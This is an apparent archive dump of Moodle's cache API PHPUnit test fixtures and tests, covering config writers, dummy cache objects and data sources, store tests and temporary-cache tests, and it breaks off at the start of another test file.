`\core_cache\form/cache_definition_sharing_form` | | `\cache_lock_form` | `\core_cache\form/cache_lock_form` | | `\cache_mode_mappings_form` | `\core_cache\form/cache_mode_mappings_form` | For more information see [MDL-82158](https://tracker.moodle.org/browse/MDL-82158) tests/fixtures/lib.php000064400000050074152265337610011056 0ustar00. /** * Support library for the cache PHPUnit tests. * * This file is part of Moodle's cache API, affectionately called MUC. * It contains the components that are requried in order to use caching. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); use core_cache\store; /** * Override the default cache configuration for our own maniacal purposes. * * This class was originally named cache_config_phpunittest but was renamed in 2.9 * because it is used for both unit tests and acceptance tests. * * @since 2.9 * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_config_testing extends cache_config_writer { /** * Creates the default configuration and saves it. * * This function calls config_save, however it is safe to continue using it afterwards as this function should only ever * be called when there is no configuration file already. * * @param bool $forcesave If set to true then we will forcefully save the default configuration file. * @return true|array Returns true if the default configuration was successfully created. * Returns a configuration array if it could not be saved. This is a bad situation. Check your error logs. */ public static function create_default_configuration($forcesave = false) { global $CFG; // HACK ALERT. // We probably need to come up with a better way to create the default stores, or at least ensure 100% that the // default store plugins are protected from deletion. $writer = new self(); $writer->configstores = self::get_default_stores(); $writer->configdefinitions = self::locate_definitions(); $defaultapplication = 'default_application'; $appdefine = defined('TEST_CACHE_USING_APPLICATION_STORE') ? TEST_CACHE_USING_APPLICATION_STORE : false; if ($appdefine !== false && preg_match('/^[a-zA-Z][a-zA-Z0-9_]+$/', $appdefine)) { $expectedstore = $appdefine; $file = $CFG->dirroot . '/cache/stores/' . $appdefine . '/lib.php'; $class = 'cachestore_' . $appdefine; if (file_exists($file)) { require_once($file); } if (class_exists($class) && $class::ready_to_be_used_for_testing()) { /* @var store $class */ $writer->configstores['test_application'] = [ 'name' => 'test_application', 'plugin' => $expectedstore, 'modes' => $class::get_supported_modes(), 'features' => $class::get_supported_features(), 'configuration' => $class::unit_test_configuration(), ]; $defaultapplication = 'test_application'; } } $writer->configmodemappings = [ [ 'mode' => store::MODE_APPLICATION, 'store' => $defaultapplication, 'sort' => -1, ], [ 'mode' => store::MODE_SESSION, 'store' => 'default_session', 'sort' => -1, ], [ 'mode' => store::MODE_REQUEST, 'store' => 'default_request', 'sort' => -1, ], ]; $writer->configlocks = [ 'default_file_lock' => [ 'name' => 'cachelock_file_default', 'type' => 'cachelock_file', 'dir' => 'filelocks', 'default' => true, ], ]; $factory = cache_factory::instance(); // We expect the cache to be initialising presently. If its not then something has gone wrong and likely // we are now in a loop. if (!$forcesave && $factory->get_state() !== cache_factory::STATE_INITIALISING) { return $writer->generate_configuration_array(); } $factory->set_state(cache_factory::STATE_SAVING); $writer->config_save(); return true; } /** * Returns the expected path to the configuration file. * * We override this function to add handling for $CFG->altcacheconfigpath. * We want to support it so that people can run unit tests against alternative cache setups. * However we don't want to ever make changes to the file at $CFG->altcacheconfigpath so we * always use dataroot and copy the alt file there as required. * * @throws cache_exception * @return string The absolute path */ protected static function get_config_file_path() { global $CFG; // We always use this path. $configpath = $CFG->dataroot . '/muc/config.php'; if (!empty($CFG->altcacheconfigpath)) { // No need to check we are within a test here, this is the cache config class that gets used // only when one of those is true. if (!defined('TEST_CACHE_USING_ALT_CACHE_CONFIG_PATH') || !TEST_CACHE_USING_ALT_CACHE_CONFIG_PATH) { // TEST_CACHE_USING_ALT_CACHE_CONFIG_PATH has not being defined or is false, we want to use the default. return $configpath; } $path = $CFG->altcacheconfigpath; if (is_dir($path) && is_writable($path)) { // Its a writable directory, thats fine. Convert it to a file. $path = $CFG->altcacheconfigpath . '/cacheconfig.php'; } if (is_readable($path)) { $directory = dirname($configpath); if ($directory !== $CFG->dataroot && !file_exists($directory)) { $result = make_writable_directory($directory, false); if (!$result) { throw new cache_exception('ex_configcannotsave', 'cache', '', null, 'Cannot create config directory. Check the permissions on your moodledata directory.'); } } // We don't care that this fails but we should let the developer know. if (!is_readable($configpath) && !@copy($path, $configpath)) { debugging('Failed to copy alt cache config file to required location'); } } } // We always use the dataroot location. return $configpath; } /** * Adds a definition to the stack * @param string $area * @param array $properties * @param bool $addmapping By default this method adds a definition and a mapping for that definition. You can * however set this to false if you only want it to add the definition and not the mapping. */ public function phpunit_add_definition($area, array $properties, $addmapping = true) { if (!array_key_exists('overrideclass', $properties)) { switch ($properties['mode']) { case store::MODE_APPLICATION: $properties['overrideclass'] = 'cache_phpunit_application'; break; case store::MODE_SESSION: $properties['overrideclass'] = 'cache_phpunit_session'; break; case store::MODE_REQUEST: $properties['overrideclass'] = 'cache_phpunit_request'; break; } } $this->configdefinitions[$area] = $properties; if ($addmapping) { switch ($properties['mode']) { case store::MODE_APPLICATION: $this->phpunit_add_definition_mapping($area, 'default_application', 0); break; case store::MODE_SESSION: $this->phpunit_add_definition_mapping($area, 'default_session', 0); break; case store::MODE_REQUEST: $this->phpunit_add_definition_mapping($area, 'default_request', 0); break; } } } /** * Removes a definition. * @param string $name */ public function phpunit_remove_definition($name) { unset($this->configdefinitions[$name]); } /** * Removes the configured stores so that there are none available. */ public function phpunit_remove_stores() { $this->configstores = []; } /** * Forcefully adds a file store. * * You can turn off native TTL support if you want a way to test TTL wrapper objects. * * @param string $name * @param bool $nativettl If false, uses fixture that turns off native TTL support */ public function phpunit_add_file_store(string $name, bool $nativettl = true): void { if (!$nativettl) { require_once(__DIR__ . '/cachestore_file_with_ttl_wrappers.php'); } $this->configstores[$name] = [ 'name' => $name, 'plugin' => 'file', 'configuration' => [ 'path' => '', ], 'features' => 6, 'modes' => 3, 'mappingsonly' => false, 'class' => $nativettl ? 'cachestore_file' : 'cachestore_file_with_ttl_wrappers', 'default' => false, 'lock' => 'cachelock_file_default', ]; } /** * Hacks the in-memory configuration for a store. * * @param string $store Name of store to edit e.g. 'default_application' * @param array $configchanges List of config changes */ public function phpunit_edit_store_config(string $store, array $configchanges): void { foreach ($configchanges as $name => $value) { $this->configstores[$store]['configuration'][$name] = $value; } } /** * Forcefully adds a session store. * * @param string $name */ public function phpunit_add_session_store($name) { $this->configstores[$name] = [ 'name' => $name, 'plugin' => 'session', 'configuration' => [], 'features' => 14, 'modes' => 2, 'default' => true, 'class' => 'cachestore_session', 'lock' => 'cachelock_file_default', ]; } /** * Forcefully injects a definition => store mapping. * * This function does no validation, you should only be calling if it you know * exactly what to expect. * * @param string $definition * @param string $store * @param int $sort */ public function phpunit_add_definition_mapping($definition, $store, $sort) { $this->configdefinitionmappings[] = [ 'store' => $store, 'definition' => $definition, 'sort' => (int)$sort, ]; } /** * Overrides the default site identifier used by the Cache API so that we can be sure of what it is. * * @return string */ public function get_site_identifier() { global $CFG; return $CFG->wwwroot . 'phpunit'; } /** * Checks if the configuration file exists. * * @return bool True if it exists */ public static function config_file_exists() { // Allow for late static binding by using static. $configfilepath = static::get_config_file_path(); // Invalidate opcode php cache, so we get correct status of file. core_component::invalidate_opcode_php_cache($configfilepath); return file_exists($configfilepath); } } /** * Dummy object for testing cacheable object interface and interaction * * Wake from cache needs specific testing at times to ensure that during multiple * cache get() requests it's possible to verify that it's getting woken each time. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_phpunit_dummy_object extends stdClass implements cacheable_object { /** * Test property 1 * @var string */ public $property1; /** * Test property 1 * @var string */ public $property2; /** * Test property time for verifying wake is run at each get() call. * @var float */ public $propertytime; /** * Constructor * @param string $property1 * @param string $property2 */ public function __construct($property1, $property2, $propertytime = null) { $this->property1 = $property1; $this->property2 = $property2; $this->propertytime = $propertytime === null ? microtime(true) : $propertytime; } /** * Prepares this object for caching * @return array */ public function prepare_to_cache() { return [$this->property1 . '_ptc', $this->property2 . '_ptc', $this->propertytime]; } /** * Returns this object from the cache * @param array $data * @return cache_phpunit_dummy_object */ public static function wake_from_cache($data) { $time = null; if (!is_null($data[2])) { // Windows 32bit microtime() resolution is 15ms, we ensure the time has moved forward. do { $time = microtime(true); } while ($time == $data[2]); } return new cache_phpunit_dummy_object(array_shift($data) . '_wfc', array_shift($data) . '_wfc', $time); } } /** * Dummy data source object for testing data source interface and implementation * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_phpunit_dummy_datasource implements cache_data_source { /** * Returns an instance of this object for use with the cache. * * @param cache_definition $definition * @return cache_phpunit_dummy_datasource */ public static function get_instance_for_cache(cache_definition $definition) { return new cache_phpunit_dummy_datasource(); } /** * Loads a key for the cache. * * @param string $key * @return string */ public function load_for_cache($key) { return $key . ' has no value really.'; } /** * Loads many keys for the cache * * @param array $keys * @return array */ public function load_many_for_cache(array $keys) { $return = []; foreach ($keys as $key) { $return[$key] = $key . ' has no value really.'; } return $return; } } /** * PHPUnit application cache loader. * * Used to expose things we could not otherwise see within an application cache. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_phpunit_application extends cache_application { #[\Override] public function get_store() { return parent::get_store(); } /** * Returns the class of the store immediately associated with this cache. * @return string */ public function phpunit_get_store_class() { return get_class($this->get_store()); } /** * Returns all the interfaces the cache store implements. * @return array */ public function phpunit_get_store_implements() { return class_implements($this->get_store()); } /** * Returns the given key directly from the static acceleration array. * * @param string $key * @return false|mixed */ public function phpunit_static_acceleration_get($key) { return $this->static_acceleration_get($key); } /** * Purges only the static acceleration while leaving the rest of the store in tack. * * Used for behaving like you have loaded 2 pages, and reset static while the backing store * still contains all the same data. * */ public function phpunit_static_acceleration_purge() { $this->static_acceleration_purge(); } } /** * PHPUnit session cache loader. * * Used to expose things we could not otherwise see within an session cache. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_phpunit_session extends cache_session { /** @var Static member used for emulating the behaviour of session_id() during the tests. */ protected static $sessionidmockup = 'phpunitmockupsessionid'; #[\Override] public function get_store() { return parent::get_store(); } /** * Returns the class of the store immediately associated with this cache. * @return string */ public function phpunit_get_store_class() { return get_class($this->get_store()); } /** * Returns all the interfaces the cache store implements. * @return array */ public function phpunit_get_store_implements() { return class_implements($this->get_store()); } /** * Provide access to the {@link cache_session::get_key_prefix()} method. * * @return string */ public function phpunit_get_key_prefix() { return $this->get_key_prefix(); } /** * Allows to inject the session identifier. * * @param string $sessionid */ public static function phpunit_mockup_session_id($sessionid) { static::$sessionidmockup = $sessionid; } /** * Override the parent behaviour so that it does not need the actual session_id() call. */ protected function set_session_id() { $this->sessionid = static::$sessionidmockup; } } /** * PHPUnit request cache loader. * * Used to expose things we could not otherwise see within an request cache. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_phpunit_request extends cache_request { #[\Override] public function get_store() { return parent::get_store(); } /** * Returns the class of the store immediately associated with this cache. * @return string */ public function phpunit_get_store_class() { return get_class($this->get_store()); } /** * Returns all the interfaces the cache store implements. * @return array */ public function phpunit_get_store_implements() { return class_implements($this->get_store()); } } /** * Dummy overridden cache loader class that we can use to test overriding loader functionality. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_phpunit_dummy_overrideclass extends cache_application { // Satisfying the code pre-checker is just part of my day job. } /** * Cache PHPUnit specific factory. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_phpunit_factory extends cache_factory { /** * Exposes the cache_factory's disable method. * * Perhaps one day that method will be made public, for the time being it is protected. */ public static function phpunit_disable() { parent::disable(); } } /** * Cache PHPUnit specific Cache helper. * * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_phpunit_cache extends cache { /** * Make the changes which simulate a new request within the cache. * This essentially resets currently held static values in the class, and increments the current timestamp. */ public static function simulate_new_request() { self::$now += 0.1; self::$purgetoken = null; } } tests/fixtures/stores.php000064400000016532152265337610011630 0ustar00. /** * An abstract class to make writing unit tests for cache stores very easy. * * @package core * @category cache * @copyright 2013 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ abstract class cachestore_tests extends advanced_testcase { /** * Returns the class name for the store. * * @return string */ abstract protected function get_class_name(); /** * Sets up the fixture, for example, open a network connection. * This method is called before a test is executed. */ public function setUp(): void { $class = $this->get_class_name(); if (!class_exists($class) || !$class::are_requirements_met()) { $this->markTestSkipped('Could not test ' . $class . '. Requirements are not met.'); } parent::setUp(); } /** * Run the unit tests for the store. */ public function test_test_instance() { $class = $this->get_class_name(); $modes = $class::get_supported_modes(); if ($modes & cache_store::MODE_APPLICATION) { $definition = cache_definition::load_adhoc(cache_store::MODE_APPLICATION, $class, 'phpunit_test'); $instance = new $class($class . '_test', $class::unit_test_configuration()); if (!$instance->is_ready()) { $this->markTestSkipped('Could not test ' . $class . '. No test instance configured for application caches.'); } else { $instance->initialise($definition); $this->run_tests($instance); } } if ($modes & cache_store::MODE_SESSION) { $definition = cache_definition::load_adhoc(cache_store::MODE_SESSION, $class, 'phpunit_test'); $instance = new $class($class . '_test', $class::unit_test_configuration()); if (!$instance->is_ready()) { $this->markTestSkipped('Could not test ' . $class . '. No test instance configured for session caches.'); } else { $instance->initialise($definition); $this->run_tests($instance); } } if ($modes & cache_store::MODE_REQUEST) { $definition = cache_definition::load_adhoc(cache_store::MODE_REQUEST, $class, 'phpunit_test'); $instance = new $class($class . '_test', $class::unit_test_configuration()); if (!$instance->is_ready()) { $this->markTestSkipped('Could not test ' . $class . '. No test instance configured for request caches.'); } else { $instance->initialise($definition); $this->run_tests($instance); } } } /** * Test the store for basic functionality. */ public function run_tests(cache_store $instance) { $object = new stdClass(); $object->data = 1; // Test set with a string. $this->assertTrue($instance->set('test1', 'test1')); $this->assertTrue($instance->set('test2', 'test2')); $this->assertTrue($instance->set('test3', '3')); $this->assertTrue($instance->set('other3', '3')); // Test get with a string. $this->assertSame('test1', $instance->get('test1')); $this->assertSame('test2', $instance->get('test2')); $this->assertSame('3', $instance->get('test3')); // Test find and find with prefix if this class implements the searchable interface. if ($instance->is_searchable()) { // Extra settings here ignore the return order of the array. $this->assertEqualsCanonicalizing(['test3', 'test1', 'test2', 'other3'], array_values($instance->find_all())); // Extra settings here ignore the return order of the array. $this->assertEqualsCanonicalizing(['test2', 'test1', 'test3'], array_values($instance->find_by_prefix('test'))); $this->assertEquals(['test2'], $instance->find_by_prefix('test2')); $this->assertEquals(['other3'], $instance->find_by_prefix('other')); $this->assertEquals([], $instance->find_by_prefix('nothere')); } // Test set with an int. $this->assertTrue($instance->set('test1', 1)); $this->assertTrue($instance->set('test2', 2)); // Test get with an int. $this->assertSame(1, $instance->get('test1')); $this->assertIsInt($instance->get('test1')); $this->assertSame(2, $instance->get('test2')); $this->assertIsInt($instance->get('test2')); // Test set with a bool. $this->assertTrue($instance->set('test1', true)); // Test get with an bool. $this->assertSame(true, $instance->get('test1')); $this->assertIsBool($instance->get('test1')); // Test with an object. $this->assertTrue($instance->set('obj', $object)); if ($instance::get_supported_features() & cache_store::DEREFERENCES_OBJECTS) { $this->assertNotSame($object, $instance->get('obj'), 'Objects must be dereferenced when returned.'); } $this->assertEquals($object, $instance->get('obj')); // Test delete. $this->assertTrue($instance->delete('test1')); $this->assertTrue($instance->delete('test3')); $this->assertFalse($instance->delete('test3')); $this->assertFalse($instance->get('test1')); $this->assertSame(2, $instance->get('test2')); $this->assertTrue($instance->set('test1', 'test1')); // Test purge. $this->assertTrue($instance->purge()); $this->assertFalse($instance->get('test1')); $this->assertFalse($instance->get('test2')); // Test set_many. $outcome = $instance->set_many([ ['key' => 'many1', 'value' => 'many1'], ['key' => 'many2', 'value' => 'many2'], ['key' => 'many3', 'value' => 'many3'], ['key' => 'many4', 'value' => 'many4'], ['key' => 'many5', 'value' => 'many5'], ]); $this->assertSame(5, $outcome); $this->assertSame('many1', $instance->get('many1')); $this->assertSame('many5', $instance->get('many5')); $this->assertFalse($instance->get('many6')); // Test get_many. $result = $instance->get_many(['many1', 'many3', 'many5', 'many6']); $this->assertIsArray($result); $this->assertCount(4, $result); $this->assertSame([ 'many1' => 'many1', 'many3' => 'many3', 'many5' => 'many5', 'many6' => false, ], $result); // Test delete_many. $this->assertSame(3, $instance->delete_many(['many2', 'many3', 'many4'])); $this->assertSame(2, $instance->delete_many(['many1', 'many5', 'many6'])); } } tests/fixtures/cache_phpunit_dummy_datasource_versionable.php000064400000005652152265337610021142 0ustar00. use core_cache\versionable_data_source_interface; /** * A dummy datasource which supports versioning. * * @package core_cache * @copyright 2021 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_phpunit_dummy_datasource_versionable extends cache_phpunit_dummy_datasource implements versionable_data_source_interface { /** @var array Data in cache */ protected $data = []; /** @var cache_phpunit_dummy_datasource_versionable Last created instance */ protected static $lastinstance; /** * Returns an instance of this object for use with the cache. * * @param cache_definition $definition * @return cache_phpunit_dummy_datasource New object */ public static function get_instance_for_cache(cache_definition $definition): cache_phpunit_dummy_datasource_versionable { self::$lastinstance = new cache_phpunit_dummy_datasource_versionable(); return self::$lastinstance; } /** * Gets the last instance that was created. * * @return cache_phpunit_dummy_datasource_versionable */ public static function get_last_instance(): cache_phpunit_dummy_datasource_versionable { return self::$lastinstance; } /** * Sets up the datasource so that it has a value for a particular key. * * @param string $key Key * @param int $version Version for key * @param mixed $data */ public function has_value(string $key, int $version, $data): void { $this->data[$key] = new \core_cache\version_wrapper($data, $version); } /** * Loads versioned data. * * @param int|string $key Key * @param int $requiredversion Minimum version number * @param mixed $actualversion Should be set to the actual version number retrieved * @return mixed Data retrieved from cache or false if none */ public function load_for_cache_versioned($key, int $requiredversion, &$actualversion) { if (!array_key_exists($key, $this->data)) { return false; } $value = $this->data[$key]; if ($value->version < $requiredversion) { return false; } $actualversion = $value->version; return $value->data; } } tests/fixtures/cachestore_file_with_ttl_wrappers.php000064400000002641152265337610017265 0ustar00. /** * A subclass of cachestore_file but which doesn't report that it has TTL support. * * This is so we can easily test behaviour involving the TTL wrapper objects. * * @package core_cache * @copyright 2021 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachestore_file_with_ttl_wrappers extends cachestore_file { /** * Reports the same supported features as the parent, but without SUPPORTS_NATIVE_TTL. * * @param array $configuration Configuration * @return int Supported features */ public static function get_supported_features(array $configuration = []) { return parent::get_supported_features($configuration) - self::SUPPORTS_NATIVE_TTL; } } tests/config_writer_test.php000064400000027331152265337610012337 0ustar00. namespace core_cache; use cache_config_testing; /** * PHPunit tests for the cache API and in particular the cache config writer. * * @package core_cache * @category test * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @covers \core_cache\config_writer */ final class config_writer_test extends \advanced_testcase { /** * Load required libraries and fixtures. */ public static function setUpBeforeClass(): void { global $CFG; require_once($CFG->dirroot . '/cache/tests/fixtures/lib.php'); parent::setUpBeforeClass(); } /** * Set things back to the default before each test. */ public function setUp(): void { parent::setUp(); factory::reset(); cache_config_testing::create_default_configuration(); } /** * Final task is to reset the cache system */ public static function tearDownAfterClass(): void { parent::tearDownAfterClass(); factory::reset(); } /** * Test getting an instance. Pretty basic. */ public function test_instance(): void { $config = config_writer::instance(); $this->assertInstanceOf(config_writer::class, $config); } /** * Test the default configuration. */ public function test_default_configuration(): void { $config = config_writer::instance(); // First check stores. $stores = $config->get_all_stores(); $hasapplication = false; $hassession = false; $hasrequest = false; foreach ($stores as $store) { // Check the required keys. $this->assertArrayHasKey('name', $store); $this->assertArrayHasKey('plugin', $store); $this->assertArrayHasKey('modes', $store); $this->assertArrayHasKey('default', $store); // Check the mode, we need at least one default store of each mode. if (!empty($store['default'])) { if ($store['modes'] & store::MODE_APPLICATION) { $hasapplication = true; } if ($store['modes'] & store::MODE_SESSION) { $hassession = true; } if ($store['modes'] & store::MODE_REQUEST) { $hasrequest = true; } } } $this->assertTrue($hasapplication, 'There is no default application cache store.'); $this->assertTrue($hassession, 'There is no default session cache store.'); $this->assertTrue($hasrequest, 'There is no default request cache store.'); // Next check the definitions. $definitions = $config->get_definitions(); $eventinvalidation = false; foreach ($definitions as $definition) { // Check the required keys. $this->assertArrayHasKey('mode', $definition); $this->assertArrayHasKey('component', $definition); $this->assertArrayHasKey('area', $definition); if ($definition['component'] === 'core' && $definition['area'] === 'eventinvalidation') { $eventinvalidation = true; } } $this->assertTrue($eventinvalidation, 'Missing the event invalidation definition.'); // Next mode mappings. $mappings = $config->get_mode_mappings(); $hasapplication = false; $hassession = false; $hasrequest = false; foreach ($mappings as $mode) { // Check the required keys. $this->assertArrayHasKey('mode', $mode); $this->assertArrayHasKey('store', $mode); if ($mode['mode'] === store::MODE_APPLICATION) { $hasapplication = true; } if ($mode['mode'] === store::MODE_SESSION) { $hassession = true; } if ($mode['mode'] === store::MODE_REQUEST) { $hasrequest = true; } } $this->assertTrue($hasapplication, 'There is no mapping for the application mode.'); $this->assertTrue($hassession, 'There is no mapping for the session mode.'); $this->assertTrue($hasrequest, 'There is no mapping for the request mode.'); // Finally check config locks. $locks = $config->get_locks(); foreach ($locks as $lock) { $this->assertArrayHasKey('name', $lock); $this->assertArrayHasKey('type', $lock); $this->assertArrayHasKey('default', $lock); } // There has to be at least the default lock. $this->assertTrue(count($locks) > 0); } /** * Test updating the definitions. */ public function test_update_definitions(): void { $config = config_writer::instance(); // Remove the definition. $config->phpunit_remove_definition('core/string'); $definitions = $config->get_definitions(); // Check it is gone. $this->assertFalse(array_key_exists('core/string', $definitions)); // Update definitions. This should re-add it. config_writer::update_definitions(); $definitions = $config->get_definitions(); // Check it is back again. $this->assertTrue(array_key_exists('core/string', $definitions)); } /** * Test adding/editing/deleting store instances. */ public function test_add_edit_delete_plugin_instance(): void { $config = config_writer::instance(); $this->assertArrayNotHasKey('addplugintest', $config->get_all_stores()); $this->assertArrayNotHasKey('addplugintestwlock', $config->get_all_stores()); // Add a default file instance. $config->add_store_instance('addplugintest', 'file'); factory::reset(); $config = config_writer::instance(); $this->assertArrayHasKey('addplugintest', $config->get_all_stores()); // Add a store with a lock described. $config->add_store_instance('addplugintestwlock', 'file', ['lock' => 'default_file_lock']); $this->assertArrayHasKey('addplugintestwlock', $config->get_all_stores()); $config->delete_store_instance('addplugintest'); $this->assertArrayNotHasKey('addplugintest', $config->get_all_stores()); $this->assertArrayHasKey('addplugintestwlock', $config->get_all_stores()); $config->delete_store_instance('addplugintestwlock'); $this->assertArrayNotHasKey('addplugintest', $config->get_all_stores()); $this->assertArrayNotHasKey('addplugintestwlock', $config->get_all_stores()); // Add a default file instance. $config->add_store_instance('storeconfigtest', 'file', ['test' => 'a', 'one' => 'two']); $stores = $config->get_all_stores(); $this->assertArrayHasKey('storeconfigtest', $stores); $this->assertArrayHasKey('configuration', $stores['storeconfigtest']); $this->assertArrayHasKey('test', $stores['storeconfigtest']['configuration']); $this->assertArrayHasKey('one', $stores['storeconfigtest']['configuration']); $this->assertEquals('a', $stores['storeconfigtest']['configuration']['test']); $this->assertEquals('two', $stores['storeconfigtest']['configuration']['one']); $config->edit_store_instance('storeconfigtest', 'file', ['test' => 'b', 'one' => 'three']); $stores = $config->get_all_stores(); $this->assertArrayHasKey('storeconfigtest', $stores); $this->assertArrayHasKey('configuration', $stores['storeconfigtest']); $this->assertArrayHasKey('test', $stores['storeconfigtest']['configuration']); $this->assertArrayHasKey('one', $stores['storeconfigtest']['configuration']); $this->assertEquals('b', $stores['storeconfigtest']['configuration']['test']); $this->assertEquals('three', $stores['storeconfigtest']['configuration']['one']); $config->delete_store_instance('storeconfigtest'); try { $config->delete_store_instance('default_application'); $this->fail('Default store deleted. This should not be possible!'); } catch (\Exception $e) { $this->assertInstanceOf(\core_cache\exception\cache_exception::class, $e); } try { $config->delete_store_instance('some_crazy_store'); $this->fail('You should not be able to delete a store that does not exist.'); } catch (\Exception $e) { $this->assertInstanceOf(\core_cache\exception\cache_exception::class, $e); } try { // Try with a plugin that does not exist. $config->add_store_instance('storeconfigtest', 'shallowfail', ['test' => 'a', 'one' => 'two']); $this->fail('You should not be able to add an instance of a store that does not exist.'); } catch (\Exception $e) { $this->assertInstanceOf(\core_cache\exception\cache_exception::class, $e); } } /** * Test setting some mode mappings. */ public function test_set_mode_mappings(): void { $config = config_writer::instance(); $this->assertTrue($config->add_store_instance('setmodetest', 'file')); $this->assertTrue($config->set_mode_mappings([ store::MODE_APPLICATION => ['setmodetest', 'default_application'], store::MODE_SESSION => ['default_session'], store::MODE_REQUEST => ['default_request'], ])); $mappings = $config->get_mode_mappings(); $setmodetestfound = false; foreach ($mappings as $mapping) { if ($mapping['store'] == 'setmodetest' && $mapping['mode'] == store::MODE_APPLICATION) { $setmodetestfound = true; } } $this->assertTrue($setmodetestfound, 'Set mapping did not work as expected.'); } /** * Test setting some definition mappings. */ public function test_set_definition_mappings(): void { $config = cache_config_testing::instance(); $config->phpunit_add_definition('phpunit/testdefinition', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'testdefinition', ]); $config = config_writer::instance(); $this->assertTrue($config->add_store_instance('setdefinitiontest', 'file')); $this->assertIsArray($config->get_definition_by_id('phpunit/testdefinition')); $config->set_definition_mappings('phpunit/testdefinition', ['setdefinitiontest', 'default_application']); try { $config->set_definition_mappings('phpunit/testdefinition', ['something that does not exist']); $this->fail('You should not be able to set a mapping for a store that does not exist.'); } catch (\Exception $e) { $this->assertInstanceOf(\core\exception\coding_exception::class, $e); } try { $config->set_definition_mappings('something/crazy', ['setdefinitiontest']); $this->fail('You should not be able to set a mapping for a definition that does not exist.'); } catch (\Exception $e) { $this->assertInstanceOf(\core\exception\coding_exception::class, $e); } } } tests/store_test.php000064400000005661152265337610010634 0ustar00. namespace core_cache; /** * Unit tests for \core_cache\store functionality. * * @package core_cache * @copyright 2021 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @covers \core_cache\store */ final class store_test extends \advanced_testcase { /** * Tests the default implementation of cache_size_details, which does some * complicated statistics. */ public function test_cache_size_details(): void { // Fill a store with 100 entries of varying size. $store = self::create_static_store(); for ($i = 0; $i < 100; $i++) { $store->set('key' . $i, str_repeat('x', $i)); } // Do the statistics for 10 random picks. $details = $store->cache_size_details(10); $this->assertTrue($details->supported); $this->assertEquals(100, $details->items); // Min/max possible means if it picks the smallest/largest 10. $this->assertGreaterThan(22, $details->mean); $this->assertLessThan(115, $details->mean); // Min/max possible SD. $this->assertLessThan(49, $details->sd); $this->assertGreaterThan(2.8, $details->sd); // Lowest possible confidence margin is about 1.74. $this->assertGreaterThan(1.7, $details->margin); // Repeat the statistics for a pick of all 100 entries (exact). $details = $store->cache_size_details(100); $this->assertTrue($details->supported); $this->assertEquals(100, $details->items); $this->assertEqualsWithDelta(69.3, $details->mean, 0.1); $this->assertEqualsWithDelta(29.2, $details->sd, 0.1); $this->assertEquals(0, $details->margin); } /** * Creates a static store for testing. * * @return \cachestore_static Store */ protected static function create_static_store(): \cachestore_static { require_once(__DIR__ . '/../stores/static/lib.php'); $store = new \cachestore_static('frog'); $definition = definition::load('zombie', [ 'mode' => store::MODE_REQUEST, 'component' => 'phpunit', 'area' => 'store_test', 'simplekeys' => true, ]); $store->initialise($definition); return $store; } } tests/allow_temporary_caches_test.php000064400000007243152265337610014224 0ustar00. namespace core_cache; /** * Unit tests for {@see allow_temporary_caches}. * * @package core_cache * @category test * @copyright 2022 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @covers \core_cache\allow_temporary_caches */ final class allow_temporary_caches_test extends \advanced_testcase { /** * Tests whether temporary caches are allowed. */ public function test_is_allowed(): void { // Not allowed by default. $this->assertFalse(allow_temporary_caches::is_allowed()); // Allowed if we have an instance. $frog = new allow_temporary_caches(); $this->assertTrue(allow_temporary_caches::is_allowed()); // Or two instances. $toad = new allow_temporary_caches(); $this->assertTrue(allow_temporary_caches::is_allowed()); // Get rid of the instances. unset($frog); $this->assertTrue(allow_temporary_caches::is_allowed()); // Not allowed when we get back to no instances. unset($toad); $this->assertFalse(allow_temporary_caches::is_allowed()); // Check it works to automatically free up the instance when variable goes out of scope. $this->inner_is_allowed(); $this->assertFalse(allow_temporary_caches::is_allowed()); } /** * Function call to demonstrate that you don't need to manually unset the variable. */ protected function inner_is_allowed(): void { $gecko = new allow_temporary_caches(); $this->assertTrue(allow_temporary_caches::is_allowed()); } /** * Tests that the temporary caches actually work, including normal and versioned get and set. */ public function test_temporary_cache(): void { $this->resetAfterTest(); // Disable the cache. \cache_phpunit_factory::phpunit_disable(); try { // Try using the cache now - it returns false/null for everything. $cache = \cache::make('core', 'coursemodinfo'); $cache->set('frog', 'ribbit'); $this->assertFalse($cache->get('frog')); $cache->set_versioned('toad', 2, 'croak'); $this->assertFalse($cache->get_versioned('toad', 2)); // But when we allow temporary caches, it should work as normal. $allow = new allow_temporary_caches(); $cache = \cache::make('core', 'coursemodinfo'); $cache->set('frog', 'ribbit'); $this->assertEquals('ribbit', $cache->get('frog')); $cache->set_versioned('toad', 2, 'croak'); $this->assertEquals('croak', $cache->get_versioned('toad', 2)); // Let's actually use modinfo, to check it works with locking too. $course = $this->getDataGenerator()->create_course(); get_fast_modinfo($course); } finally { // You have to do this after phpunit_disable or it breaks later tests. factory::reset(); factory::instance(true); } } } tests/cache_test.php000064400000425317152265337610010547 0ustar00. namespace core_cache; use cache_config_testing; use cache_phpunit_application; use cache_phpunit_cache; use 